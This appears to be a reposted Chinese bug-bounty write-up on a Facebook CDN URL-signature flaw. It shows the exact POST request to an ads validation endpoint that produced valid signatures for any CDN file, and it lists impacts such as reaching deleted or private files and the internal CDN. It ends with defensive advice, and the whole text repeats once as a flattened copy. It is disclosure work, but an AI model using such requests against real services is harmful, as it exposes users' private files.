挖洞经验 | 获取Facebook CDN托管文件的有效URL签名
字数 757 2025-08-15 21:30:41

Facebook CDN文件URL签名漏洞分析与利用

漏洞概述

该漏洞允许攻击者为Facebook CDN服务器上托管的任意文件生成有效的URL签名参数(ohoe),从而能够访问原本受签名保护的文件资源。

Facebook CDN URL结构分析

典型的Facebook CDN文件URL格式如下:

https://scontent.ftun3-1.fna.fbcdn.net/v/t39.2365-6/10734332_858877080824977_1850649729_n.jpg?_nc_cat=100&_nc_sid=ad8a9d&_nc_ohc=OqjMAvXzPM4AX-iWuw3&_nc_ht=scontent.ftun3-1.fna&oh=eb51bfb048f02e851026515680b1f94b&oe=5E922573

关键参数:

  • oh: URL签名参数
  • oe: 签名过期时间

签名验证机制

  1. 无签名访问:直接访问无签名参数的URL会返回"BadURL timestamp"错误

    https://scontent.ftun3-1.fna.fbcdn.net/v/t39.2365-6/10734332_858877080824977_1850649729_n.jpg
    
  2. 无效签名:提供错误签名会返回"URL signature mismatch"错误

  3. 过期签名:签名有效但已过期会返回"URL signature expired"错误

漏洞利用方法

通过Facebook的/ads/tools/text_overlay_validation_with_crops/async/端点可以为任意CDN文件生成有效签名。

利用步骤

  1. 准备一个无签名的CDN文件URL

    https://scontent.ftun3-1.fna.fbcdn.net/v/t39.2365-6/10734332_858877080824977_1850649729_n.jpg
    
  2. 发送以下POST请求:

    POST /ads/tools/text_overlay_validation_with_crops/async/ HTTP/1.1
    Host: www.facebook.com
    
    __a=1&
    fb_dtsg=YOUR_CSRF_TOKEN&
    image_position_to_crops[0]={"url":"<URL>","width":960,"height":960,"crops":[100,0,526,395]}
    
  3. 响应中将包含带有新签名参数的URL:

    https://scontent.xx.fbcdn.net/hphotos-xap1/v/t39.2365-6/s526x395/10734332_858877080824977_1850649729_n.jpg?oh=b1fa2b10cef8aaee779dbac57f23db6f&oe=5E812361
    

漏洞危害

  1. 访问已删除或隐私变更的文件:即使文件被删除或隐私设置变更,只要知道原始URL仍可访问
  2. 批量文件下载:通过查找旧时间戳的URL,生成新签名实现批量下载
  3. 内部CDN访问:漏洞同样存在于内部CDN服务器interncache-frc.fbcdn.net(需配合SSRF等漏洞利用)

防御建议

  1. 服务端应对文件URL签名请求进行严格权限验证
  2. 确保签名生成端点只能为当前用户有权限访问的文件生成签名
  3. 实现签名与特定用户会话绑定的机制
  4. 对内部CDN服务器实施更严格的访问控制

漏洞报告流程

该漏洞已通过Facebook安全团队处理,参考来源为ysamm和clouds。

Facebook CDN文件URL签名漏洞分析与利用 漏洞概述 该漏洞允许攻击者为Facebook CDN服务器上托管的任意文件生成有效的URL签名参数( oh 和 oe ),从而能够访问原本受签名保护的文件资源。 Facebook CDN URL结构分析 典型的Facebook CDN文件URL格式如下: 关键参数: oh : URL签名参数 oe : 签名过期时间 签名验证机制 无签名访问 :直接访问无签名参数的URL会返回"BadURL timestamp"错误 无效签名 :提供错误签名会返回"URL signature mismatch"错误 过期签名 :签名有效但已过期会返回"URL signature expired"错误 漏洞利用方法 通过Facebook的 /ads/tools/text_overlay_validation_with_crops/async/ 端点可以为任意CDN文件生成有效签名。 利用步骤 : 准备一个无签名的CDN文件URL 发送以下POST请求: 响应中将包含带有新签名参数的URL: 漏洞危害 访问已删除或隐私变更的文件 :即使文件被删除或隐私设置变更,只要知道原始URL仍可访问 批量文件下载 :通过查找旧时间戳的URL,生成新签名实现批量下载 内部CDN访问 :漏洞同样存在于内部CDN服务器 interncache-frc.fbcdn.net (需配合SSRF等漏洞利用) 防御建议 服务端应对文件URL签名请求进行严格权限验证 确保签名生成端点只能为当前用户有权限访问的文件生成签名 实现签名与特定用户会话绑定的机制 对内部CDN服务器实施更严格的访问控制 漏洞报告流程 该漏洞已通过Facebook安全团队处理,参考来源为ysamm和clouds。